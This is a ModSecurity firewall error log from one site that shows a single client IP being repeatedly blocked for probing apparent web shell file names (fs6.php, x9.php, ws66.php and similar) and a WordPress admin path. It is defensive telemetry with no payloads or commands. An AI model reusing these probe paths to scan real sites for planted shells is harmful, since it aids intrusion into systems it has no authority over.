[Sat Apr 11 08:42:34.165355 2026] [:error] [pid 5795:tid 5894] [client 4.233.120.250:58469] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "admY-pgvRQRkGSWa6n_hlgAAAMo"]
[Sat Apr 11 08:42:34.707916 2026] [:error] [pid 5949:tid 5970] [client 4.233.120.250:62343] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zlnckdxn.php"] [unique_id "admY-v28g0lvFuzWT5UcMQAAAFI"]
[Sat Apr 11 08:42:35.219516 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:28055] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "admY-_28g0lvFuzWT5UcMwAAAEs"]
[Sat Apr 11 08:42:35.744925 2026] [:error] [pid 5794:tid 5855] [client 4.233.120.250:44331] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "admY-4jGQwKS4utx44NlHgAAAIA"]
[Sat Apr 11 08:42:36.286825 2026] [:error] [pid 5949:tid 5969] [client 4.233.120.250:20828] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "admY_P28g0lvFuzWT5UcOQAAAFE"]
[Sat Apr 11 08:42:37.000666 2026] [:error] [pid 5795:tid 5891] [client 4.233.120.250:36825] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs6.php"] [unique_id "admY_JgvRQRkGSWa6n_hngAAAMc"]
[Sat Apr 11 08:42:37.631793 2026] [:error] [pid 5794:tid 5866] [client 4.233.120.250:20808] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwzs.php"] [unique_id "admY_YjGQwKS4utx44NlIgAAAIo"]
[Sat Apr 11 08:42:38.608848 2026] [:error] [pid 5949:tid 5971] [client 4.233.120.250:52742] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwzs.php"] [unique_id "admY_v28g0lvFuzWT5UcRgAAAFM"]
[Sat Apr 11 08:42:39.418715 2026] [:error] [pid 5794:tid 5861] [client 4.233.120.250:36842] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwzs.php"] [unique_id "admY_4jGQwKS4utx44NlKAAAAIU"]
[Sat Apr 11 08:42:40.089880 2026] [:error] [pid 5949:tid 5971] [client 4.233.120.250:24319] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwzs.php"] [unique_id "admZAP28g0lvFuzWT5UcVAAAAFM"]
[Sat Apr 11 08:42:40.656461 2026] [:error] [pid 5794:tid 5862] [client 4.233.120.250:36844] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "admZAIjGQwKS4utx44NlLgAAAIY"]
[Sat Apr 11 08:42:41.281935 2026] [:error] [pid 5794:tid 5873] [client 4.233.120.250:44341] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "admZAYjGQwKS4utx44NlLwAAAJE"]
[Sat Apr 11 08:42:42.024903 2026] [:error] [pid 5793:tid 5840] [client 4.233.120.250:16188] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "admZAsLXvguFrb7p0Zu6WQAAABI"]
[Sat Apr 11 08:42:42.581052 2026] [:error] [pid 5793:tid 5836] [client 4.233.120.250:62350] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/users.php"] [unique_id "admZAsLXvguFrb7p0Zu6WgAAAA4"]
[Sat Apr 11 08:42:43.095321 2026] [:error] [pid 5795:tid 5885] [client 4.233.120.250:28091] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "admZA5gvRQRkGSWa6n_hrAAAAMI"]
[Sat Apr 11 08:42:43.717669 2026] [:error] [pid 5949:tid 5974] [client 4.233.120.250:24265] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "admZA_28g0lvFuzWT5UcbQAAAFY"]
[Sat Apr 11 08:42:44.311642 2026] [:error] [pid 5795:tid 5895] [client 4.233.120.250:28043] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "admZBJgvRQRkGSWa6n_hsQAAAMs"]
[Sat Apr 11 08:42:45.520478 2026] [:error] [pid 5793:tid 5823] [client 4.233.120.250:20806] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws66.php"] [unique_id "admZBcLXvguFrb7p0Zu6YwAAAAE"]
[Sat Apr 11 08:42:46.273009 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:36817] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "admZBv28g0lvFuzWT5UceAAAAEo"]
[Sat Apr 11 08:42:47.158126 2026] [:error] [pid 5795:tid 5905] [client 4.233.120.250:45762] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "admZB5gvRQRkGSWa6n_hugAAANU"]
[Sat Apr 11 08:42:47.868957 2026] [:error] [pid 5795:tid 5908] [client 4.233.120.250:24318] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "admZB5gvRQRkGSWa6n_hvQAAANg"]
[Sat Apr 11 08:42:48.691983 2026] [:error] [pid 5949:tid 5955] [client 4.233.120.250:20854] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ewe.php"] [unique_id "admZCP28g0lvFuzWT5UcjQAAAEM"]
[Sat Apr 11 08:42:49.254960 2026] [:error] [pid 5794:tid 5871] [client 4.233.120.250:16224] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "admZCYjGQwKS4utx44NlRAAAAI8"]
[Sat Apr 11 08:42:50.012973 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:44291] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "admZCv28g0lvFuzWT5UclQAAAFQ"]
[Sat Apr 11 08:42:50.598449 2026] [:error] [pid 5793:tid 5846] [client 4.233.120.250:40714] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "admZCsLXvguFrb7p0Zu6ZgAAABg"]
[Sat Apr 11 08:42:51.285879 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:50688] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboute.php"] [unique_id "admZC_28g0lvFuzWT5UcngAAAEs"]
[Sat Apr 11 08:42:52.059953 2026] [:error] [pid 5949:tid 5972] [client 4.233.120.250:52736] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "admZDP28g0lvFuzWT5UcpQAAAFQ"]
[Sat Apr 11 08:42:52.600996 2026] [:error] [pid 5949:tid 5974] [client 4.233.120.250:13103] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "admZDP28g0lvFuzWT5UcqgAAAFY"]
[Sat Apr 11 08:42:53.140931 2026] [:error] [pid 5949:tid 5968] [client 4.233.120.250:20829] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "admZDf28g0lvFuzWT5UctQAAAFA"]
[Sat Apr 11 08:42:53.641702 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:60235] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x9.php"] [unique_id "admZDf28g0lvFuzWT5UcuAAAAEs"]
[Sat Apr 11 08:42:54.279395 2026] [:error] [pid 5794:tid 5860] [client 4.233.120.250:28094] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "admZDojGQwKS4utx44NlUwAAAIQ"]
[Sat Apr 11 08:42:54.907055 2026] [:error] [pid 5794:tid 5879] [client 4.233.120.250:40722] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "admZDojGQwKS4utx44NlWgAAAJc"]
[Sat Apr 11 08:42:55.645010 2026] [:error] [pid 5949:tid 5953] [client 4.233.120.250:49836] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "admZD_28g0lvFuzWT5UcxQAAAEE"]
[Sat Apr 11 08:42:56.792757 2026] [:error] [pid 5949:tid 5964] [client 4.233.120.250:13108] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "admZEP28g0lvFuzWT5Uc0AAAAEw"]
[Sat Apr 11 08:42:57.409819 2026] [:error] [pid 5793:tid 5837] [client 4.233.120.250:57492] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "admZEcLXvguFrb7p0Zu6cQAAAA8"]
[Sat Apr 11 08:42:58.233274 2026] [:error] [pid 5793:tid 5839] [client 4.233.120.250:40766] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "admZEsLXvguFrb7p0Zu6dgAAABE"]
[Sat Apr 11 08:42:58.913053 2026] [:error] [pid 5793:tid 5831] [client 4.233.120.250:41221] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "admZEsLXvguFrb7p0Zu6fAAAAAk"]
[Sat Apr 11 08:42:59.436396 2026] [:error] [pid 5795:tid 5885] [client 4.233.120.250:16991] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aboutc.php"] [unique_id "admZE5gvRQRkGSWa6n_h4QAAAMI"]
[Sat Apr 11 08:43:00.126638 2026] [:error] [pid 5949:tid 5975] [client 4.233.120.250:58051] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "admZFP28g0lvFuzWT5Uc5QAAAFc"]
[Sat Apr 11 08:43:00.770324 2026] [:error] [pid 5949:tid 5966] [client 4.233.120.250:24582] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "admZFP28g0lvFuzWT5Uc6gAAAE4"]
[Sat Apr 11 08:43:01.256490 2026] [:error] [pid 5949:tid 5962] [client 4.233.120.250:54692] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "admZFf28g0lvFuzWT5Uc8AAAAEo"]
[Sat Apr 11 08:43:01.930360 2026] [:error] [pid 5795:tid 5890] [client 4.233.120.250:45962] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "admZFZgvRQRkGSWa6n_h6AAAAMY"]
[Sat Apr 11 08:43:02.716373 2026] [:error] [pid 5793:tid 5836] [client 4.233.120.250:57522] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "admZFsLXvguFrb7p0Zu6gwAAAA4"]
[Sat Apr 11 08:43:03.250621 2026] [:error] [pid 5795:tid 5883] [client 4.233.120.250:56006] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "admZF5gvRQRkGSWa6n_h8AAAAMA"]
[Sat Apr 11 08:43:03.993811 2026] [:error] [pid 5949:tid 5963] [client 4.233.120.250:57516] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "admZF_28g0lvFuzWT5UdAgAAAEs"]
[Sat Apr 11 08:43:04.519953 2026] [:error] [pid 5949:tid 5955] [client 4.233.120.250:46300] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "admZGP28g0lvFuzWT5UdCQAAAEM"]
[Sat Apr 11 08:43:05.038982 2026] [:error] [pid 5949:tid 5960] [client 4.233.120.250:6627] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "admZGf28g0lvFuzWT5UdDgAAAEg"]
[Sat Apr 11 08:43:05.661601 2026] [:error] [pid 5794:tid 5880] [client 4.233.120.250:40706] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "admZGYjGQwKS4utx44NleAAAAJg"]
[Sat Apr 11 08:43:07.453496 2026] [:error] [pid 5949:tid 5954] [client 4.233.120.250:57521] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "admZG_28g0lvFuzWT5UdKgAAAEI"]
[Sat Apr 11 08:43:08.267789 2026] [:error] [pid 5794:tid 5865] [client 4.233.120.250:55015] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "admZHIjGQwKS4utx44NlfgAAAIk"]
[Sat Apr 11 08:43:08.774679 2026] [:error] [pid 5793:tid 5844] [client 4.233.120.250:54686] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "admZHMLXvguFrb7p0Zu6jQAAABY"]
[Sat Apr 11 08:43:09.463189 2026] [:error] [pid 5793:tid 5832] [client 4.233.120.250:60742] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "admZHcLXvguFrb7p0Zu6kQAAAAo"]
[Sat Apr 11 08:43:10.194929 2026] [:error] [pid 5949:tid 5973] [client 4.233.120.250:56005] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "admZHv28g0lvFuzWT5UdOwAAAFU"]
[Sat Apr 11 08:43:10.924042 2026] [:error] [pid 5794:tid 5865] [client 4.233.120.250:38108] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cpp2.php"] [unique_id "admZHojGQwKS4utx44NljwAAAIk"]
[Sat Apr 11 08:43:11.436565 2026] [:error] [pid 5795:tid 5886] [client 4.233.120.250:38093] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "admZH5gvRQRkGSWa6n_iAQAAAMM"]
[Sat Apr 11 08:43:12.020703 2026] [:error] [pid 5793:tid 5841] [client 4.233.120.250:51640] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "admZIMLXvguFrb7p0Zu6nwAAABM"]
[Sat Apr 11 08:43:12.507680 2026] [:error] [pid 5949:tid 5975] [client 4.233.120.250:43455] [client 4.233.120.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admlo.php"] [unique_id "admZIP28g0lvFuzWT5UdTwAAAFc"]
